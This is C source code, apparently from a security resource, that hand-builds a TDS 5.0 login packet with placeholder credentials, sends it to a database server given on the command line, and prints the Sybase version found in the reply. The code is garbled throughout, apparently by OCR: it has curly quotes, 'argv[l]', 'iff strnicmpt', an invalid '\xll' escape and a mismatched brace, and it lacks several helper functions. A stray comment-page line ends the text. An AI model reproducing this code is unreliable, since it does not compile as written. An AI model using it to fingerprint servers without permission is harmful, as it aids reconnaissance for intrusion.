int close_socket( int socket )
{
closesocket( socket );
return 1 ;
}
int dump_buff( unsigned char *psz, int bytes, int file_no )
{
for( int i = 0; i < bytes; i++ )
{
printf(“\\x%02x”, psz[i] );
}
printf(“\n\n”);
return 1;
)
int main( int argc, char * argv[] )
{
unsigned char auth[] =
“\x02″ // packet type = TDS 4.2 or 5.0 login packet
“\x01″ // last packet indicator = 1 : last packet
“\x02\x00″ // packet size: 512 bytes
“\x00\x00\x00\x00″ // 4 bytes; purpose unknown
°XXXXXXX\x00\x00\x00″ // 30 bytes: Host name (XXXXXXX)
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x07″ // host name length
“xx\x00\x00\x00\x00\x00\x00\x00\x00″ // 30 bytes: User name
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x02″ // user name length
“XXXXXXXXXX” // 30 bytes: password
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x0a” // password length
// 30 bytes: process
“\x31\x31\x35\x32\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x04″ // process length
“\x03\x01\x06\x0a\x09\x01″ // 6 bytes of mystery stuff
“\x01″ // bulk copy = 1
“\x00\x00\x00\x00\x00\x00\x00\x00\x00″ // 9 bytes
“SQL_Advant”
“age\x00\x00\x00\x00\x00\x00\x00″ // 30 bytes: app name
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x0d” // app name length
“XXXXXXX\x00\x00\x00″ // 30 bytes: server name
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x07″ // server name length
“\x00″ // 1 mystery byte
“\x0a” // password2 length
“XXXXXXXXXX” // 30 bytes: password 2
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
// 223 bytes of null (?)
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00″ // end 223 null bytes
“\x0c” // password2 length + 2
“\x05\x00″ // TDS Major version = 5
“\x00\x00″ // TDS Minor version = 0
“CT-Library” // Library name
“\x0a” // Library name length
“\x05\x00″ // program major version = 5
“\x00\x00″ // program minor version = 0
“\x00\x0d\xll” // Magic 3 bytes
// language 30 bytes… except we truncate
“\x00s_english”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\x00\x00\x00\x00″;
int s, sent, received, i;
char buff[ 8192 ] ;
memset( buff, 0, sizeof( buff ) );
if( !init_sockets() )
return err(“Couldn’t initialise sockets”);
s = create_tcp_socket();
if (!connect_to( s, argv[l], atoi( argv[2]) ))
return err(“Couldn’t connect”);
if(!send_data( s, (char *)auth, sizeof( auth ), &sent ))
return err(“Couldn’t send auth packet”);
if(!receive_data( s, buff, 8180, &received ))
return err(“No data received”);
if(!close_socket( s ))
return err(“Error closing socket”);
dump_buff( (unsigned char *)buff, received, 0 );
for( i = 0; i < received; i++ )
{
iff strnicmpt &(buff[i]), “SQL Server”, strlen(“SQL Server”))
== 0 )
{
i += (int)strlen( “SQL Server” );
printf(“Sybase Version: %d.%d.%d.%d\n”,
buff[i], buff[i+l], buff[i+2], buff[i+3] );
break;
}
}
return 0;
}

本文还暂无回复